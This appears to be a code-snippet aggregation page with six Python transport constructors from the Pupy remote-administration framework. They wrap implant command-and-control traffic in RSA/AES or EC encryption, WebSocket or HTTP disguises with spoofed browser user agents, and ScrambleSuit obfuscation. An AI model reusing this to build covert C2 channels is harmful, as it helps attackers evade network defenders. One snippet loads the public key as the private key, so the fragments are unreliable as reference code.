Esempio n. 1
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                                         rsa_key_size=4096,
                                                         aes_size=256)
            self.server_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                                         rsa_key_size=4096,
                                                         aes_size=256)

        else:
            self.client_transport = RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                                         rsa_key_size=4096,
                                                         aes_size=256)
            self.server_transport = RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                                         rsa_key_size=4096,
                                                         aes_size=256)
Esempio n. 2
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    PupyWebSocketClient.custom(user_agent=user_agent),
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer.custom(verify_user_agent=user_agent),
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    PupyWebSocketClient.custom(user_agent=user_agent),
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer.custom(verify_user_agent=user_agent),
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
Esempio n. 3
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY
            SCRAMBLESUIT_PASSWD = pupy_credentials.SCRAMBLESUIT_PASSWD

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']
            SCRAMBLESUIT_PASSWD = credentials['SCRAMBLESUIT_PASSWD']

        self.client_transport_kwargs.update({
            'host':
            None,
            'path':
            '/ws/' + ''.join(md5(SCRAMBLESUIT_PASSWD).hexdigest()[:8]),
            'user-agent':
            DEFAULT_USER_AGENT
        })

        self.server_transport_kwargs.update({
            'path':
            '/ws/' + ''.join(md5(SCRAMBLESUIT_PASSWD).hexdigest()[:8]),
            'user-agent':
            DEFAULT_USER_AGENT
        })

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                PupyWebSocketClient,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyWebSocketServer,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )

        else:
            self.client_transport = chain_transports(
                PupyWebSocketClient,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyWebSocketServer,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
Esempio n. 4
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        self.client_transport_kwargs.update({'host': None})

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) '\
          'Chrome/41.0.2228.0 Safari/537.36'

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyHTTPServer.custom(verify_user_agent=user_agent),
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )

        else:
            self.client_transport = chain_transports(
                PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyHTTPServer.custom(verify_user_agent=user_agent),
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
Esempio n. 5
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY
            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']
            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = EC4TransportServer.custom(privkey=PRIV_KEY)
            self.server_transport = EC4TransportClient.custom(pubkey=PUB_KEY)

        else:
            self.server_transport = EC4TransportServer.custom(privkey=PRIV_KEY)
            self.client_transport = EC4TransportClient.custom(pubkey=PUB_KEY)
Esempio n. 6
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            SCRAMBLESUIT_PASSWD = pupy_credentials.SCRAMBLESUIT_PASSWD

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']
            SCRAMBLESUIT_PASSWD = credentials['SCRAMBLESUIT_PASSWD']

        self.client_transport_kwargs = {'password': SCRAMBLESUIT_PASSWD}
        self.server_transport_kwargs = {'password': SCRAMBLESUIT_PASSWD}

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                ScrambleSuitClient,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))
            self.server_transport = chain_transports(
                ScrambleSuitServer,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))

        else:
            self.client_transport = chain_transports(
                ScrambleSuitClient,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))
            self.server_transport = chain_transports(
                ScrambleSuitServer,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))